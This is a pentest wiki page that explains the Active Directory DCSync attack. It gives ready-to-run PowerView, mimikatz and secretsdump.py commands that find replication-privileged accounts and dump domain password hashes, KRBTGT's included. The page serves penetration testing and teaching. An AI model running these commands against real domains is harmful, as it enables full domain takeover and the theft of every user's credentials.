Red Squad
BuyMeACoffee
  • ๐Ÿ /home/red-squad
    • โฐRecently Added
    • ๐ŸฅณSupport our projects
    • โšฐ๏ธIs There Life After Death ?
  • ๐ŸŒWeb Hacking
    • ๐ŸšฉCTFs shortcuts
    • ๐Ÿ—บ๏ธAudits plan
      • Exposition Audit - Plan
      • Internal Audit - Plan
      • External Audit - Plan
    • ๐Ÿ•ต๏ธOSINT
      • ๐Ÿ”Search Engines
      • ๐Ÿง‘User OSINT
      • ๐Ÿ‡ซ๐Ÿ‡ฒDomains, IP, IOT
      • ๐Ÿ•ธ๏ธWebsite OSINT
      • ๐Ÿ—ฃ๏ธBreaches/Leaks
      • ๐Ÿ’ผBusiness OSINT
      • ๐Ÿง…TOR network
      • ๐Ÿ”ฌSource Code
      • ๐ŸฅธDorks
      • โš”๏ธVulnerabilities and IOC
      • ๐Ÿ“ฆMISC
    • Enumeration
      • Network Scanners
      • Directory/Files Scanners
      • Web Scanners
        • Subdomains
    • ๐Ÿ”—HTTP Stuff
      • HTTP Methods
        • 403 Bypass
      • Security Headers
      • HTTP Parameters
    • ๐Ÿ”Sessions / Tokens
      • Cookies
      • JWT
        • Attacking JWT
    • ๐Ÿ’‰Injections
      • HTML | XSS
      • SQLi
        • SQLmap
        • NoSQLi
      • XXE
      • LaTex
    • ๐ŸชฑWeb Vulnerabilities
      • CSRF
      • ClickJacking
      • Files / Upload
        • ๐Ÿ—ƒ๏ธFile Upload Bypass
        • ๐Ÿ“ฆZIP Slip
      • IDOR
      • LFI
        • Files to look for
      • Remote Code Execution
    • โ›”WAF Bypass
    • โœ๏ธServers / CMS
      • ๐ŸˆTomcat
      • ๐Ÿ’งDrupal
      • โœ๏ธOracle APEX
      • ๐ŸฆApache
      • ๐Ÿ”ทWordPress
        • Wordpress eBook Download < 1.2 - CVE-2016-10924
      • โฉSAP
      • ๐Ÿ•ด๏ธJenkins
      • ๐Ÿ–‡๏ธJoomla!
      • ๐ŸขServer-Side Vulnerabilities
        • Server-Side Request Forgery
        • Server-Side Template Injection
    • ๐Ÿ–‡๏ธAPI
      • GraphQL
  • ๐ŸงLinux Hacking
    • ๐Ÿง—Privilege Escalation
      • Find passwords
      • Ansible
      • Manual Checks
      • Automated Checks
    • ๐Ÿ‘ฃCover tracks
    • ๐ŸšชBackdoors
    • โญ•Reverse Shells
      • Shell Stabilizing
      • PwnCat
      • Ping-Pong
    • ๐Ÿ”ขCompiled Binaries
    • ๐ŸŒŠBuffer Overflow
      • Introduction
      • Fundamentals
      • Exploits
    • ๐ŸณDocker Escape
    • ๐ŸคFile sharing
  • ๐ŸชŸWindows Hacking
    • ๐Ÿ‘ฅActive Directory
      • 1. Reconnaissance
        • Domain Network Enumeration
          • SMB Enumeration
          • LDAP Enumeration
      • 2. Initial Attack Vectors
        • Kerberos
          • Lookupsid
          • findDelegation
          • ASREPRoast
          • Kerbrute
        • AD CS
          • Basics
          • Exploits
        • Network
          • SMBRelay
          • LLMNR_NBT NS Poisoning
            • Relay Poisoning Ressources
          • IPv6 Attacks
        • Impacket
          • Windows Secrets
        • Autologon
        • PowerView.ps1
      • 3. Post-Compromise Enumeration
        • ACLs Abuse
        • Computer enumeration
        • PowerView
        • BloodHound
        • MimiKatz
        • PingCastle
      • 4. Post-Compromise Attacks
        • WSUS Poison
        • AlwaysInstallElevated
        • DCSync
        • Dumping LSASS
        • Dumping NTDS.dit
        • Golden Tickets
        • GPP Attacks
        • Kerberoasting - SPN
        • Pass the Hash
        • Pass the Password
        • Rubeus
      • 5. PrivEsc & MISC
        • Automated scripts
        • Exploits
          • noPac - CVE-2021-42278
          • ZeroLogon - CVE-2020-1472
          • LocalPotato - CVE-2023-21746
          • PrintNightMare - CVE-2021-34527
          • Other CVEs
    • ๐Ÿ’กUseful AD Commands
    • ๐Ÿง—Privilege Escalation
    • ๐ŸšShells
    • ๐Ÿ”“Bypasses
      • UAC
      • Antivirus
      • AppLocker
      • BitLocker
    • ๐Ÿ“ƒOffice
      • Analyze office files
      • Forgot password of file ?
      • CVE-2023-21716 (Microsoft Word RCE)
    • ๐Ÿ‘ฉโ€๐Ÿ’ปSCCM | MECM
      • Configuration Audit
      • Dump
      • Hack It
        • Reconnaisance
        • PXE/OSD Exploitation
        • NTLM Relay from SCCM Clients
        • Privilege Escalation
        • Lateral Movement
        • Malware Deployment
      • Basics
    • ๐Ÿ’ŽMicrosoft 365
      • Configuration
      • Hacking
  • ๐Ÿ’ฝSystems
    • ๐Ÿ•โ€๐ŸฆบServices Enumeration
    • ๐Ÿ–จ๏ธPrinters
      • Printer Exploitation Tool (PRET)
      • CUPS
    • ๐Ÿ›ก๏ธFortinet
    • ๐Ÿ“นCCTV / IP Cameras
      • Hacking
  • ๐ŸŽ†Networks
    • ๐ŸŒช๏ธPivoting
      • Tools / Guide
        • Proxychains / FoxyProxy
        • SSH Tunnelling / Port Forwarding
        • Plinx.exe
        • Socat
        • Chisel
        • Sshuttle
        • Ligolo-Ng : Pivoting use cases
      • SocksOverRDP
    • ๐Ÿ”ฅFirewalls
      • ๐Ÿ”ฅEvasion
    • ๐Ÿ”—Proxies
  • ๐Ÿ“ฑMobile Hacking
    • ๐Ÿค–Android
      • Introduction
      • Reversing
      • Static Analysis
      • Dynamic Analysis
      • Disable SSL Pinning
      • Bypass Root Detection
      • Network / Traffic Analysis
    • ๐ŸiOS
      • Introduction
      • Static Analysis
      • Dynamic Analysis
      • JailBreak
    • ๐Ÿ“บIOT
      • IOTGoat OWASP | Walkthrough
      • Resources
  • Configuration
    • ChromeOS
    • Mobile
      • Android
    • IBM
      • AS400
      • AIX
  • ๐Ÿ“กWireless Hacking
    • ๐ŸŽ†Wi-Fi Attacks
      • EvilTwin
      • Cracking WPA/WPA2
      • Sniffing
    • ๐ŸซBluetooth
      • BLE Locks Hacking
  • ๐Ÿ‘จโ€๐Ÿ’ปCode Audit
    • โœ”๏ธBest Practices
    • โŒBad Practices
    • โš’๏ธTools
  • ๐Ÿ‘Thick Client Hacking
    • ๐Ÿ“Thick Client Pentesting Methodology
    • ๐Ÿ—„๏ธResources
  • ๐Ÿ—„๏ธMISC
    • ๐Ÿ”‘Default Credentials
    • ๐Ÿ”ปCVEs
      • [CVE-2022-0847] - dirtypipe
      • [CVE-2021-4034] - Pwnkit
      • [CVE-2021-45105] - Log4J
      • [CVE-2018-15473] - OPENSSH < 7.7
    • ๐ŸฆŠBrowser Extensions
    • ๐Ÿค–AI
      • chatGPT alternatives
      • Large Language Model Hacking
    • ๐Ÿ”ญHacking Labs
    • ๐Ÿ”ซExploitation Frameworks
  • ๐Ÿ•ต๏ธOPSEC
    • ๐Ÿ—๏ธPrivacy
      • Best tools
      • Online Anonymity
      • Browser Configuration
  • ๐Ÿ”‘CRACKING | ENCODING
    • ๐ŸฅŠBruteforce tools
    • ๐Ÿ“Wordlists
    • ๐ŸงจCracking Tools
    • ๐Ÿ”ฌEncoding | Decoding Tools
    • ๐Ÿ”Steganography | Cipher
  • ๐Ÿ”ดRED TEAM
    • ๐Ÿ“ฅPassword Extract
      • Firefox
    • ๐Ÿ•ต๏ธSpy cam
    • ๐Ÿ”’Lock Picking
    • ๐ŸŽฃPhishing
      • Infrastructure
      • Resources
  • ๐ŸŒ€Whistle Blowing
    • ๐Ÿ“นCCTV
  • ๐Ÿ”ตBLUE TEAM
    • ๐ŸงฉForensics
    • ๐ŸฆนMalware Analysis
    • ๐Ÿ› ๏ธTools
    • ๐ŸฏHoneyPots
    • ๐ŸŽ†Networks Security
    • ๐Ÿช™Online IoC Scanners
  • ๐ŸžBug Bounty Related
    • Searching for CVEs
    • [FR] Legal
    • Dorks
  • ๐Ÿ–ฅ๏ธDEVELOPERS
    • ๐Ÿ‘จโ€๐Ÿ’ปIDE
  • ๐Ÿ“šLEARNING
    • Windows
      • Active Directory
      • Kerberos
      • Pass-the-*
    • SQL
      • SQSHell | sqsh | skwish
      • NoSQL
      • DB infos
    • SSL/TLS
      • Configuration on MariaDB
Powered by GitBook
On this page

Was this helpful?

Edit on GitHub
Export as PDF
  1. Windows Hacking
  2. Active Directory
  3. 4. Post-Compromise Attacks

DCSync

What is the DCSync attack ?

This attack simulates the behavior of a domain controller and asks other domain controllers to replicate information using the Directory Replication Service Remote Protocol (MS-DRSR). Basically, it lets you pretend to be a domain controller and ask for user password data. This can be used by attackers to get any accountโ€™s NTLM hash including the KRBTGT account, which enables attackers to create Golden Tickets.

The only pre-requisite to worry about is that you have an account with rights to perform domain replication. This is controlled by the Replicating Changes permissions set on the domain.

Attack

'''
WINDOWS - locally
'''
# enumerate users with the required privileges
Get-ObjectACL "DC=security,DC=local" -ResolveGUIDs | ? {
    ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get')
}
# or
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

# Take the SID and attempt to identify the UPN : 
Get-ADUser -Identity S-1-5-21-2543357152-2466851693-2862170513-1121
Get-ADGroup -Identity S-1-5-21-2543357152-2466851693-2862170513-527

# if OK, mimikatz :
lsadump::dcsync /domain:fcorp.local /user:krbtgt
# or
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
# note : the user that has dcsync priv

'''
LINUX - remotely
'''
# user with dcsync
secretsdump.py -just-dc $user:$passwd@$ip -outputfile dcsync_hashes
PreviousAlwaysInstallElevatedNextDumping LSASS

Last updated 11 months ago

Was this helpful?

๐ŸชŸ
๐Ÿ‘ฅ